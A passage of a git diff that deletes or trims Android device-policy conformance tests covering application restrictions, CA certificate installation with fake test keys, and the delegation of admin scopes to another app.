- "Calling identity is not authorized", () -> {
- mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
- });
- }
-
- public void testCanAccessApis() throws InterruptedException {
- assertTrue("DelegateApp is not an app restrictions delegate", amIAppRestrictionsDelegate());
- try {
- mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_0);
- assertBundle0(mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG));
-
- // Check that the target app can retrieve the same restrictions.
- assertBundle0(waitForChangedRestriction());
-
- // Test overwriting
- mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_1);
- assertBundle1(mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG));
- assertBundle1(waitForChangedRestriction());
- } finally {
- mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
- assertTrue(
- mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG).isEmpty());
- }
- }
-
- // Should be consistent with assertBundle0
- private static Bundle createBundle0() {
- Bundle result = new Bundle();
- result.putString("placeholderString", "value");
- return result;
- }
-
- // Should be consistent with createBundle0
- private void assertBundle0(Bundle bundle) {
- assertEquals(1, bundle.size());
- assertEquals("value", bundle.getString("placeholderString"));
- }
-
- // Should be consistent with assertBundle1
- private static Bundle createBundle1() {
- Bundle result = new Bundle();
- result.putInt("placeholderInt", 1);
- return result;
- }
-
- // Should be consistent with createBundle1
- private void assertBundle1(Bundle bundle) {
- assertEquals(1, bundle.size());
- assertEquals(1, bundle.getInt("placeholderInt"));
- }
-
- private void startTestActivity() {
- ComponentName component = new ComponentName(
- APP_RESTRICTIONS_TARGET_PKG, APP_RESTRICTIONS_ACTIVITY_NAME);
- Log.d(TAG, "Starting activity " + component.flattenToShortString() + " on user "
- + Process.myUserHandle());
- mContext.startActivity(new Intent()
- .setComponent(component)
- .putExtra("admin_type",
- InstrumentationRegistry.getArguments().getString("admin_type"))
- .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
- }
-
- private Bundle waitForChangedRestriction() throws InterruptedException {
- startTestActivity();
- assertTrue("App restrictions target app did not respond in time",
- mOnRestrictionsSemaphore.tryAcquire(TIMEOUT_SECONDS, TimeUnit.SECONDS));
- return mReceivedRestrictions;
- }
-
- private boolean amIAppRestrictionsDelegate() {
- final List<String> scopes = mDpm.getDelegatedScopes(null, mContext.getPackageName());
- return scopes.contains(DELEGATION_APP_RESTRICTIONS);
- }
-}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
index 869ff7c..b93b884 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
@@ -16,7 +16,6 @@
package com.android.cts.delegate;
import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
import android.os.Bundle;
import android.test.MoreAsserts;
import android.util.Log;
@@ -58,17 +57,4 @@
expected.getMessage());
}
}
-
- public void testSettingAdminComponentNameThrowsException() {
- final String myPackageName = getInstrumentation().getContext().getPackageName();
- final ComponentName myComponentName = new ComponentName(myPackageName,
- GeneralDelegateTest.class.getName());
-
- try {
- mDpm.setUninstallBlocked(myComponentName, myPackageName, true);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex("No active admin", expected.getMessage());
- }
- }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
deleted file mode 100644
index 201aeed..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
+++ /dev/null
@@ -1,338 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.os.Bundle;
-import android.os.Parcelable;
-import android.os.UserManager;
-import android.test.MoreAsserts;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Functionality tests for application restrictions APIs.
- *
- * <p>APIs are executed locally to assert that what you set can later be retrieved via the getter.
- * It also fires up an external activity to observe an application's view of its restrictions.
- *
- * <p>Finally, it checks that the {@link Intent#ACTION_APPLICATION_RESTRICTIONS_CHANGED} broadcast
- * is sent whenever app restrictions are modified for a given package.
- */
-public class ApplicationRestrictionsTest extends BaseDeviceAdminTest {
-
- private static final String APP_RESTRICTIONS_TARGET_PKG =
- "com.android.cts.apprestrictions.targetapp";
- private static final String APP_RESTRICTIONS_ACTIVITY_NAME =
- APP_RESTRICTIONS_TARGET_PKG + ".ApplicationRestrictionsActivity";
- private static final String ACTION_RESTRICTIONS_VALUE =
- "com.android.cts.apprestrictions.targetapp.RESTRICTIONS_VALUE";
-
- private static final String OTHER_PACKAGE = APP_RESTRICTIONS_TARGET_PKG + "placeholder";
-
- private static final String[] TEST_STRINGS = new String[] {
- "<bad/>",
- ">worse!\"£$%^&*()'<",
- "<JSON>\"{ \\\"One\\\": { \\\"OneOne\\\": \\\"11\\\", \\\""
- + "OneTwo\\\": \\\"12\\\" }, \\\"Two\\\": \\\"2\\\" } <JSON/>\""
- };
-
- private static final Bundle BUNDLE_0 = createBundle0();
- private static final Bundle BUNDLE_1 = createBundle1();
-
- private static final long RESTRICTIONS_TIMEOUT_SECONDS = 10;
-
- private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- String action = intent.getAction();
- if (ACTION_RESTRICTIONS_VALUE.equals(action)) {
- mReceivedRestrictions = intent.getBundleExtra("value");
- mOnRestrictionsReceivedFromAppSemaphore.release();
- } else if (Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED.equals(action)) {
- mOnAppRestrictionsChangedSemahore.release();
- }
- }
- };
-
- private final Semaphore mOnAppRestrictionsChangedSemahore = new Semaphore(0);
- private final Semaphore mOnRestrictionsReceivedFromAppSemaphore = new Semaphore(0);
- private Bundle mReceivedRestrictions;
- private UserManager mUserManager;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mUserManager = (UserManager) mContext.getSystemService(Context.USER_SERVICE);
-
- IntentFilter filter = new IntentFilter();
- filter.addAction(ACTION_RESTRICTIONS_VALUE);
- filter.addAction(Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED);
- mContext.registerReceiver(mReceiver, filter);
- }
-
- @Override
- protected void tearDown() throws Exception {
- mContext.unregisterReceiver(mReceiver);
-
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, new Bundle());
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, mContext.getPackageName(), new Bundle());
-
- super.tearDown();
- }
-
- public void testNullComponentThrowsException() {
- try {
- mDevicePolicyManager.setApplicationRestrictions(
- null, APP_RESTRICTIONS_TARGET_PKG, null);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Calling identity is not authorized",
- expected.getMessage());
- }
- try {
- mDevicePolicyManager.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Calling identity is not authorized",
- expected.getMessage());
- }
- }
-
- public void testSetApplicationRestrictions() {
- // Test setting restrictions
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_0);
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, BUNDLE_1);
-
- // Retrieve restrictions locally and make sure they are what we put in.
- assertBundle0(mDevicePolicyManager.getApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG));
- assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE));
-
- // Check that the target app can retrieve the same restrictions.
- assertBundle0(waitForRestrictionsValueFromTestActivity());
-
- // Test overwriting
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_1);
- assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG));
- assertBundle1(waitForRestrictionsValueFromTestActivity());
-
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
- assertTrue(mDevicePolicyManager.getApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG).isEmpty());
- assertTrue(waitForRestrictionsValueFromTestActivity().isEmpty());
-
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, null);
- assertTrue(mDevicePolicyManager.getApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE).isEmpty());
- }
-
- public void testCanRetrieveOwnRestrictionsViaUserManager() {
- final String packageName = mContext.getPackageName();
-
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, packageName, BUNDLE_0);
- assertBundle0(mDevicePolicyManager.getApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, packageName));
-
- // Check that we got the restrictions changed callback.
- assertBundle0(waitForRestrictionsChangedBroadcast());
-
- mDevicePolicyManager.setApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, packageName, BUNDLE_1);
- assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
- ADMIN_RECEIVER_COMPONENT, packageName));
- assertBundle1(waitForRestrictionsChangedBroadcast());
- }
-
- public void testCannotRetrieveOtherPackageRestrictionsViaUserManager() {
- try {
- mUserManager.getApplicationRestrictions(OTHER_PACKAGE);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- }
- }
-
- public void testSetApplicationRestrictionsManagingPackage() throws NameNotFoundException {
- final String previousValue = mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
- ADMIN_RECEIVER_COMPONENT);
- try {
- mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
- ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG);
- assertEquals(APP_RESTRICTIONS_TARGET_PKG,
- mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
- ADMIN_RECEIVER_COMPONENT));
- mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
- ADMIN_RECEIVER_COMPONENT, null);
- assertNull(mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
- ADMIN_RECEIVER_COMPONENT));
- } finally {
- mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
- ADMIN_RECEIVER_COMPONENT, previousValue);
- assertEquals(previousValue,
- mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
- ADMIN_RECEIVER_COMPONENT));
- }
- }
-
- public void testSetApplicationRestrictionsManagingPackageForNotInstalledPackage()
- throws NameNotFoundException {
- try {
- mDevicePolicyManager.setApplicationRestrictionsManagingPackage(ADMIN_RECEIVER_COMPONENT,
- OTHER_PACKAGE);
- fail("Not throwing exception for not installed package name");
- } catch (NameNotFoundException expected) {
- MoreAsserts.assertContainsRegex(OTHER_PACKAGE, expected.getMessage());
- } finally {
- mDevicePolicyManager.setApplicationRestrictionsManagingPackage(ADMIN_RECEIVER_COMPONENT,
- null);
- assertNull(mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
- ADMIN_RECEIVER_COMPONENT));
- }
- }
-
- // Should be consistent with assertBundle0
- private static Bundle createBundle0() {
- Bundle result = new Bundle();
- // Tests for 6 allowed types: Integer, Boolean, String, String[], Bundle and Parcelable[]
- // Also test for string escaping handling
- result.putBoolean("boolean_0", false);
- result.putBoolean("boolean_1", true);
- result.putInt("integer", 0x7fffffff);
- // If a null is stored, "" will be read back
- result.putString("empty", "");
- result.putString("string", "text");
- result.putStringArray("string[]", TEST_STRINGS);
-
- // Adding a bundle, which contain 2 nested restrictions - bundle_string and bundle_int
- Bundle bundle = new Bundle();
- bundle.putString("bundle_string", "bundle_string");
- bundle.putInt("bundle_int", 1);
- result.putBundle("bundle", bundle);
-
- // Adding an array of 2 bundles
- Bundle[] bundleArray = new Bundle[2];
- bundleArray[0] = new Bundle();
- bundleArray[0].putString("bundle_array_string", "bundle_array_string");
- // Put bundle inside bundle
- bundleArray[0].putBundle("bundle_array_bundle", bundle);
- bundleArray[1] = new Bundle();
- bundleArray[1].putString("bundle_array_string2", "bundle_array_string2");
- result.putParcelableArray("bundle_array", bundleArray);
- return result;
- }
-
- // Should be consistent with createBundle0
- private void assertBundle0(Bundle bundle) {
- assertEquals(8, bundle.size());
- assertEquals(false, bundle.getBoolean("boolean_0"));
- assertEquals(true, bundle.getBoolean("boolean_1"));
- assertEquals(0x7fffffff, bundle.getInt("integer"));
- assertEquals("", bundle.getString("empty"));
- assertEquals("text", bundle.getString("string"));
-
- String[] strings = bundle.getStringArray("string[]");
- assertTrue(strings != null && strings.length == TEST_STRINGS.length);
- for (int i = 0; i < strings.length; i++) {
- assertEquals(strings[i], TEST_STRINGS[i]);
- }
-
- Bundle childBundle = bundle.getBundle("bundle");
- assertEquals("bundle_string", childBundle.getString("bundle_string"));
- assertEquals(1, childBundle.getInt("bundle_int"));
-
- Parcelable[] bundleArray = bundle.getParcelableArray("bundle_array");
- assertEquals(2, bundleArray.length);
- // Verifying bundle_array[0]
- Bundle bundle1 = (Bundle) bundleArray[0];
- assertEquals("bundle_array_string", bundle1.getString("bundle_array_string"));
- Bundle bundle1ChildBundle = bundle1.getBundle("bundle_array_bundle");
- assertNotNull(bundle1ChildBundle);
- assertEquals("bundle_string", bundle1ChildBundle.getString("bundle_string"));
- assertEquals(1, bundle1ChildBundle.getInt("bundle_int"));
- // Verifying bundle_array[1]
- Bundle bundle2 = (Bundle) bundleArray[1];
- assertEquals("bundle_array_string2", bundle2.getString("bundle_array_string2"));
- }
-
- // Should be consistent with assertBundle1
- private static Bundle createBundle1() {
- Bundle result = new Bundle();
- result.putInt("placeholder", 1);
- return result;
- }
-
- // Should be consistent with createBundle1
- private void assertBundle1(Bundle bundle) {
- assertEquals(1, bundle.size());
- assertEquals(1, bundle.getInt("placeholder"));
- }
-
- private void startTestActivity() {
- mContext.startActivity(new Intent()
- .setComponent(new ComponentName(
- APP_RESTRICTIONS_TARGET_PKG, APP_RESTRICTIONS_ACTIVITY_NAME))
- .putExtra("admin_type",
- InstrumentationRegistry.getArguments().getString("admin_type"))
- .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
- }
-
- private Bundle waitForRestrictionsValueFromTestActivity() {
- startTestActivity();
-
- try {
- assertTrue(mOnRestrictionsReceivedFromAppSemaphore.tryAcquire(
- RESTRICTIONS_TIMEOUT_SECONDS, TimeUnit.SECONDS));
- } catch (InterruptedException e) {
- fail("waitForRestrictionsValueFromTestActivity() interrupted");
- }
-
- return mReceivedRestrictions;
- }
-
- private Bundle waitForRestrictionsChangedBroadcast() {
- try {
- assertTrue(mOnAppRestrictionsChangedSemahore.tryAcquire(
- RESTRICTIONS_TIMEOUT_SECONDS, TimeUnit.SECONDS));
- } catch (InterruptedException e) {
- fail("waitForRestrictionsChangedBroadcast() interrupted");
- }
-
- return mUserManager.getApplicationRestrictions(mContext.getPackageName());
- }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
deleted file mode 100644
index 7097050..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ /dev/null
@@ -1,205 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import static com.android.compatibility.common.util.FakeKeys.FAKE_DSA_1;
-import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.net.http.X509TrustManagerExtensions;
-
-import java.io.ByteArrayInputStream;
-import java.security.GeneralSecurityException;
-import java.security.KeyStore;
-import java.security.cert.Certificate;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.util.Arrays;
-import java.util.List;
-
-import javax.net.ssl.TrustManager;
-import javax.net.ssl.TrustManagerFactory;
-import javax.net.ssl.X509TrustManager;
-
-public class CaCertManagementTest extends BaseDeviceAdminTest {
- private final ComponentName mAdmin = ADMIN_RECEIVER_COMPONENT;
-
- /**
- * Test: device admins should be able to list all installed certs.
- *
- * <p>The list of certificates must never be {@code null}.
- */
- public void testCanRetrieveListOfInstalledCaCerts() {
- List<byte[]> caCerts = mDevicePolicyManager.getInstalledCaCerts(mAdmin);
- assertNotNull(caCerts);
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- uninstallAllUserCaCerts();
- }
-
- @Override
- protected void tearDown() throws Exception {
- uninstallAllUserCaCerts();
- super.tearDown();
- }
-
- /**
- * Test: a valid cert should be installable and also removable.
- */
- public void testCanInstallAndUninstallACaCert() throws GeneralSecurityException {
- assertUninstalled(FAKE_RSA_1.caCertificate);
- assertUninstalled(FAKE_DSA_1.caCertificate);
-
- assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
- assertInstalled(FAKE_RSA_1.caCertificate);
- assertUninstalled(FAKE_DSA_1.caCertificate);
-
- uninstallCaCert(FAKE_RSA_1.caCertificate);
- assertUninstalled(FAKE_RSA_1.caCertificate);
- assertUninstalled(FAKE_DSA_1.caCertificate);
- }
-
- /**
- * Test: removing one certificate must not remove any others.
- */
- public void testUninstallationIsSelective() throws GeneralSecurityException {
- assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
- assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
-
- uninstallCaCert(FAKE_DSA_1.caCertificate);
- assertInstalled(FAKE_RSA_1.caCertificate);
- assertUninstalled(FAKE_DSA_1.caCertificate);
-
- uninstallCaCert(FAKE_RSA_1.caCertificate);
- }
-
- /**
- * Test: uninstallAllUserCaCerts should be equivalent to calling uninstallCaCert on every
- * supplementary installed certificate.
- */
- public void testCanUninstallAllUserCaCerts() throws GeneralSecurityException {
- assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
- assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
-
- uninstallAllUserCaCerts();
- assertUninstalled(FAKE_RSA_1.caCertificate);
- assertUninstalled(FAKE_DSA_1.caCertificate);
- }
-
- private void assertInstalled(byte[] caBytes) throws GeneralSecurityException {
- assertTrue(isCaCertInstalledAndTrusted(caBytes));
- }
-
- private void assertUninstalled(byte[] caBytes) throws GeneralSecurityException {
- assertFalse(isCaCertInstalledAndTrusted(caBytes));
- }
-
- private static X509TrustManager getFirstX509TrustManager(TrustManagerFactory tmf) {
- for (TrustManager trustManager : tmf.getTrustManagers()) {
- if (trustManager instanceof X509TrustManager) {
- return (X509TrustManager) trustManager;
- }
- }
- throw new RuntimeException("Unable to find X509TrustManager");
- }
-
- /**
- * Whether a given cert, or one a lot like it, has been installed system-wide and is available
- * to all apps.
- *
- * <p>A CA certificate is "installed" if it matches all of the following conditions:
- * <ul>
- * <li>{@link DevicePolicyManager#hasCaCertInstalled} returns {@code true}.</li>
- * <li>{@link DevicePolicyManager#getInstalledCaCerts} lists a matching certificate (not
- * necessarily exactly the same) in its response.</li>
- * <li>Any new instances of {@link TrustManager} should report the certificate among their
- * accepted issuer list -- older instances may keep the set of issuers they were created
- * with until explicitly refreshed.</li>
- *
- * @return {@code true} if installed by all metrics, {@code false} if not installed by any
- * metric. In any other case an {@link AssertionError} will be thrown.
- */
- private boolean isCaCertInstalledAndTrusted(byte[] caBytes) throws GeneralSecurityException {
- Certificate caCert = readCertificate(caBytes);
- boolean installed = mDevicePolicyManager.hasCaCertInstalled(mAdmin, caCert.getEncoded());
-
- boolean listed = false;
- for (byte[] certBuffer : mDevicePolicyManager.getInstalledCaCerts(mAdmin)) {
- if (caCert.equals(readCertificate(certBuffer))) {
- listed = true;
- }
- }
-
- // Verify that the user added CA is reflected in the default X509TrustManager.
- final TrustManagerFactory tmf =
- TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
- // Use platform provided CA store.
- tmf.init((KeyStore) null);
- X509TrustManager tm = getFirstX509TrustManager(tmf);
- boolean trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
-
- // Maximal time to wait until the certificate is found to be in the accepted
- // issuers list before declaring test failure.
- final int maxWaitForCertificateTrustedSec = 15;
-
- // All three responses should match - if an installed certificate isn't trusted or (worse)
- // a trusted certificate isn't even installed we should fail now, loudly.
- assertEquals(installed, listed);
- int numTries = 0;
- while (numTries < (maxWaitForCertificateTrustedSec * 20) && (installed != trusted)) {
- try {
- Thread.sleep(100);
- trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
- numTries++;
- } catch (InterruptedException e) {
- break;
- }
- }
- assertEquals(installed, trusted);
-
- X509TrustManagerExtensions xtm = new X509TrustManagerExtensions(tm);
- boolean userAddedCertificate = xtm.isUserAddedCertificate((X509Certificate) caCert);
- assertEquals(installed, userAddedCertificate);
- return installed;
- }
-
- /**
- * Convert an encoded certificate back into a {@link Certificate}.
- *
- * Instantiates a fresh CertificateFactory every time for repeatability.
- */
- private static Certificate readCertificate(byte[] certBuffer) throws CertificateException {
- final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
- return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
- }
-
- private boolean installCaCert(byte[] caCertificate) {
- return mDevicePolicyManager.installCaCert(mAdmin, caCertificate);
- }
-
- private void uninstallCaCert(byte[] caCertificate) {
- mDevicePolicyManager.uninstallCaCert(mAdmin, caCertificate);
- }
-
- private void uninstallAllUserCaCerts() {
- mDevicePolicyManager.uninstallAllUserCaCerts(mAdmin);
- }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
deleted file mode 100644
index 08caddd..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
+++ /dev/null
@@ -1,305 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceandprofileowner;
-
-import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
-import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
-import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
-import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
-import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
-import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
-import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
-import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertThrows;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Process;
-import android.os.UserManager;
-import android.test.MoreAsserts;
-import android.util.Log;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-
-/**
- * Test that an app granted delegation scopes via {@link DevicePolicyManager#setDelegatedScopes} is
- * notified of its new scopes by a broadcast.
- */
-public class DelegationTest extends BaseDeviceAdminTest {
- private static final String TAG = "DelegationTest";
-
- private static final String DELEGATE_PKG = "com.android.cts.delegate";
- private static final String DELEGATE_ACTIVITY_NAME =
- DELEGATE_PKG + ".DelegatedScopesReceiverActivity";
- private static final String DELEGATE_SERVICE_NAME =
- DELEGATE_PKG + ".DelegatedScopesReceiverService";
- private static final String TEST_PKG = "com.android.cts.apprestrictions.targetapp";
-
- // Broadcasts received from the delegate app.
- private static final String ACTION_REPORT_SCOPES = "com.android.cts.delegate.report_scopes";
- private static final String ACTION_RUNNING = "com.android.cts.delegate.running";
-
- // Semaphores to synchronize communication with delegate app.
- private volatile String[] mReceivedScopes;
- private Semaphore mReceivedScopeReportSemaphore;
- private Semaphore mReceivedRunningSemaphore;
-
- // Receiver for incoming broadcasts from the delegate app.
- private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.v(TAG, "onReceive(): " + intent.getAction() + " on user " + Process.myUserHandle());
- if (ACTION_REPORT_SCOPES.equals(intent.getAction())) {
- synchronized (DelegationTest.this) {
- mReceivedScopes = intent.getStringArrayExtra(EXTRA_DELEGATION_SCOPES);
- mReceivedScopeReportSemaphore.release();
- }
- } else if (ACTION_RUNNING.equals(intent.getAction())) {
- synchronized (DelegationTest.this) {
- mReceivedRunningSemaphore.release();
- }
- }
- }
- };
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
- mReceivedScopeReportSemaphore = new Semaphore(0);
- mReceivedRunningSemaphore = new Semaphore(0);
- mReceivedScopes = null;
- IntentFilter filter = new IntentFilter();
- filter.addAction(ACTION_REPORT_SCOPES);
- filter.addAction(ACTION_RUNNING);
- mContext.registerReceiver(mReceiver, filter);
- }
-
- @Override
- public void tearDown() throws Exception {
- mContext.unregisterReceiver(mReceiver);
-
- setDelegatedScopes(TEST_PKG, Collections.emptyList());
- setDelegatedScopes(DELEGATE_PKG, Collections.emptyList());
-
- super.tearDown();
- }
-
- public void testDelegateReceivesScopeChangedBroadcast() throws InterruptedException {
- if (UserManager.isHeadlessSystemUserMode()) {
- // TODO(b/197907392): this test launched an activity to receive the broadcast from DPM,
- // but headless system user cannot launch activity. To make things worse, the intent
- // is only sent to registered receivers, so we cannot use the existing receivers from
- // DpmWrapper, we would need to start a service on user 0 to receive the broadcast,
- // which would require a lot of changes:
- // - calling APIs / Shell commands to allow an app in the bg to start a service
- // - add a "launchIntent()" method on DpmWrapper so the intent is launched by user 0
- //
- // It might not be worth to make these changes, but rather wait for the test refactoring
- Log.w(TAG, "Skipping testDelegateReceivesScopeChangedBroadcast() on headless system "
- + "user mode");
- return;
- }
-
- // Prepare the scopes to be delegated.
- final List<String> scopes = Arrays.asList(
- DELEGATION_CERT_INSTALL,
- DELEGATION_APP_RESTRICTIONS,
- DELEGATION_BLOCK_UNINSTALL,
- DELEGATION_ENABLE_SYSTEM_APP);
-
- // Start delegate so it can receive the scopes changed broadcast from DevicePolicyManager.
- startAndWaitDelegateActivity();
-
- // Set the delegated scopes.
- setDelegatedScopes(DELEGATE_PKG, scopes);
-
- // Wait until the delegate reports its new scopes.
- String reportedScopes[] = waitReportedScopes();
-
- // Check that the reported scopes correspond to scopes we delegated.
- assertNotNull("Received null scopes from delegate", reportedScopes);
- MoreAsserts.assertContentsInAnyOrder("Delegated scopes do not match broadcasted scopes",
- scopes, reportedScopes);
- }
-
- public void testCantDelegateToUninstalledPackage() {
